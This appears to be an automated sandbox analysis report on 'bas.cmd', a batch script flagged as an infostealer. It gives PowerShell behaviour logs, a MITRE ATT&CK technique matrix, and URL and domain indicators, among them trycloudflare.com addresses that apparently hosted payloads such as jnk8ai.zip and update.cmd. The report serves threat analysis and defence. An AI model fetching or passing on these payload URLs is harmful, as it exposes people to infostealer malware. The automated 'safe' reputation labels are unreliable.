Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
bas.cmd	8%	ReversingLabs	Script-BAT.Infostealer.HRunner

Source	Detection	Scanner	Label
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://unotv.com	0%	Avira URL Cloud	safe
https://mercadolivre.com	0%	Avira URL Cloud	safe
https://wieistmeineip.de	0%	Avira URL Cloud	safe
https://mercadoshops.com.co	0%	Avira URL Cloud	safe
https://reshim.org	0%	Avira URL Cloud	safe
https://medonet.pl	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com	0%	Avira URL Cloud	safe
https://poalim.xyz	0%	Avira URL Cloud	safe
https://gliadomain.com	0%	Avira URL Cloud	safe
https://nourishingpursuits.com	0%	Avira URL Cloud	safe
https://joyreactor.cc	0%	Avira URL Cloud	safe
https://mercadoshops.com.br	0%	Avira URL Cloud	safe
https://songstats.com	0%	Avira URL Cloud	safe
https://zdrowietvn.pl	0%	Avira URL Cloud	safe
https://bolasport.com	0%	Avira URL Cloud	safe
https://baomoi.com	0%	Avira URL Cloud	safe
https://elfinancierocr.com	0%	Avira URL Cloud	safe
https://supereva.it	0%	Avira URL Cloud	safe
https://rws1nvtvt.com	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4d	0%	Avira URL Cloud	safe
https://hearty.gift	0%	Avira URL Cloud	safe
https://desimartini.com	0%	Avira URL Cloud	safe
https://hearty.app	0%	Avira URL Cloud	safe
https://mercadoshops.com	0%	Avira URL Cloud	safe
https://hc1.com	0%	Avira URL Cloud	safe
https://radio2.be	0%	Avira URL Cloud	safe
https://finn.no	0%	Avira URL Cloud	safe
https://songshare.com	0%	Avira URL Cloud	safe
https://mystudentdashboard.com	0%	Avira URL Cloud	safe
https://kompas.tv	0%	Avira URL Cloud	safe
https://mercadopago.com.mx	0%	Avira URL Cloud	safe
https://talkdeskqaid.com	0%	Avira URL Cloud	safe
https://mercadopago.com.pe	0%	Avira URL Cloud	safe
https://cardsayings.net	0%	Avira URL Cloud	safe
https://mightytext.net	0%	Avira URL Cloud	safe
https://joyreactor.com	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip	0%	Avira URL Cloud	safe
https://pudelek.pl	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://cookreactor.com	0%	Avira URL Cloud	safe
https://eworkbookcloud.com	0%	Avira URL Cloud	safe
https://wildixin.com	0%	Avira URL Cloud	safe
https://nacion.com	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://chennien.com	0%	Avira URL Cloud	safe
https://mercadopago.cl	0%	Avira URL Cloud	safe
https://talkdeskstgid.com	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipc	0%	Avira URL Cloud	safe
https://bonvivir.com	0%	Avira URL Cloud	safe
https://carcostadvisor.be	0%	Avira URL Cloud	safe
https://floor-contemporary-genius-accommodation.trycloudflare.com/favicon.ico	0%	Avira URL Cloud	safe
https://wpext.pl	0%	Avira URL Cloud	safe
https://salemovetravel.com	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmdCommonPr	0%	Avira URL Cloud	safe
https://poalim.site	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipw	0%	Avira URL Cloud	safe
https://blackrockadvisorelite.it	0%	Avira URL Cloud	safe
https://mercadoshops.com.ar	0%	Avira URL Cloud	safe
https://cafemedia.com	0%	Avira URL Cloud	safe
https://welt.de	0%	Avira URL Cloud	safe
https://elpais.uy	0%	Avira URL Cloud	safe
https://landyrev.com	0%	Avira URL Cloud	safe
https://commentcamarche.com	0%	Avira URL Cloud	safe
https://tucarro.com.ve	0%	Avira URL Cloud	safe
https://mercadolivre.com.br	0%	Avira URL Cloud	safe
https://salemovefinancial.com	0%	Avira URL Cloud	safe
https://standardsandpraiserepurpose.com	0%	Avira URL Cloud	safe
https://eleconomista.net	0%	Avira URL Cloud	safe
https://clmbtech.com	0%	Avira URL Cloud	safe
https://rws3nvtvt.com	0%	Avira URL Cloud	safe
https://mercadopago.com.br	0%	Avira URL Cloud	safe
https://commentcamarche.net	0%	Avira URL Cloud	safe
https://etfacademy.it	0%	Avira URL Cloud	safe
https://mighty-app.appspot.com	0%	Avira URL Cloud	safe
https://mercadolibre.com.gt	0%	Avira URL Cloud	safe
https://hearty.me	0%	Avira URL Cloud	safe
https://hj.rs	0%	Avira URL Cloud	safe
https://blackrock.com	0%	Avira URL Cloud	safe
https://idbs-staging.com	0%	Avira URL Cloud	safe
https://timesinternet.in	0%	Avira URL Cloud	safe
https://idbs-eworkbook.com	0%	Avira URL Cloud	safe
https://mercadolibre.co.cr	0%	Avira URL Cloud	safe
https://vrt.be	0%	Avira URL Cloud	safe
https://hjck.com	0%	Avira URL Cloud	safe
https://mercadolibre.cl	0%	Avira URL Cloud	safe
https://idbs-dev.com	0%	Avira URL Cloud	safe
https://prisjakt.no	0%	Avira URL Cloud	safe
https://player.pl	0%	Avira URL Cloud	safe
https://kompas.com	0%	Avira URL Cloud	safe
https://mercadopago.com.ar	0%	Avira URL Cloud	safe
https://wingify.com	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4	0%	Avira URL Cloud	safe
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip6	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
floor-contemporary-genius-accommodation.trycloudflare.com	104.16.231.132	true	false	unknown
google.com	142.250.185.206	true	false	unknown
www.google.com	142.250.186.100	true	false	unknown
gonna-truly-conflict-deserve.trycloudflare.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://floor-contemporary-genius-accommodation.trycloudflare.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wieistmeineip.de	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadoshops.com.co	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gliadomain.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://poalim.xyz	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadolivre.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com	powershell.exe, 00000006.00000002.1289535614.0000023D2E57D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5C8C1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://reshim.org	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://nourishingpursuits.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://medonet.pl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://unotv.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadoshops.com.br	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://joyreactor.cc	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://zdrowietvn.pl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://songstats.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://baomoi.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://supereva.it	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://elfinancierocr.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://bolasport.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://rws1nvtvt.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4d	timeout.exe, 00000017.00000002.1391258101.000001E518674000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://desimartini.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://hearty.app	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.1289535614.0000023D2E9F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D472000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D5B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5D649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BD07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://hearty.gift	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadoshops.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://heartymail.com	sets.json.4.dr	false		unknown
https://radio2.be	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://finn.no	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://hc1.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.1289535614.0000023D2D401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5BC91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://kompas.tv	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mystudentdashboard.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://songshare.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadopago.com.mx	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://talkdeskqaid.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadopago.com.pe	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://cardsayings.net	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip	powershell.exe, 00000019.00000002.1408573592.0000025C59E50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1408757519.0000025C59E90000.00000004.00000020.00020000.00000000.sdmp, bas.cmd	true	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mightytext.net	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://pudelek.pl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://joyreactor.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.2484960875.000001F54A800000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cookreactor.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://wildixin.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://eworkbookcloud.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://nacion.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://chennien.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mercadopago.cl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://talkdeskstgid.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://bonvivir.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://carcostadvisor.be	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipc	powershell.exe, 00000006.00000002.1286539070.0000023D2B577000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://salemovetravel.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://wpext.pl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://welt.de	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://poalim.site	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://blackrockadvisorelite.it	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmdCommonPr	powershell.exe, 00000019.00000002.1410610863.0000025C5A064000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cafemedia.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadoshops.com.ar	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipw	powershell.exe, 00000006.00000002.1320379549.0000023D455D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://elpais.uy	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://landyrev.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://commentcamarche.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://tucarro.com.ve	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://rws3nvtvt.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://eleconomista.net	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadolivre.com.br	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://clmbtech.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://standardsandpraiserepurpose.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://salemovefinancial.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadopago.com.br	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://commentcamarche.net	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://etfacademy.it	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mighty-app.appspot.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://hj.rs	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://hearty.me	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadolibre.com.gt	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://timesinternet.in	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://idbs-staging.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://blackrock.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://idbs-eworkbook.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadolibre.co.cr	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://hjck.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://vrt.be	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://prisjakt.no	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://kompas.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://idbs-dev.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://wingify.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadolibre.cl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://player.pl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4	powershell.exe, 00000019.00000002.1410610863.0000025C5A060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mercadopago.com.ar	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip6	AppInstallerPythonRedirector.exe, 00000015.00000002.1366455249.0000022614402000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
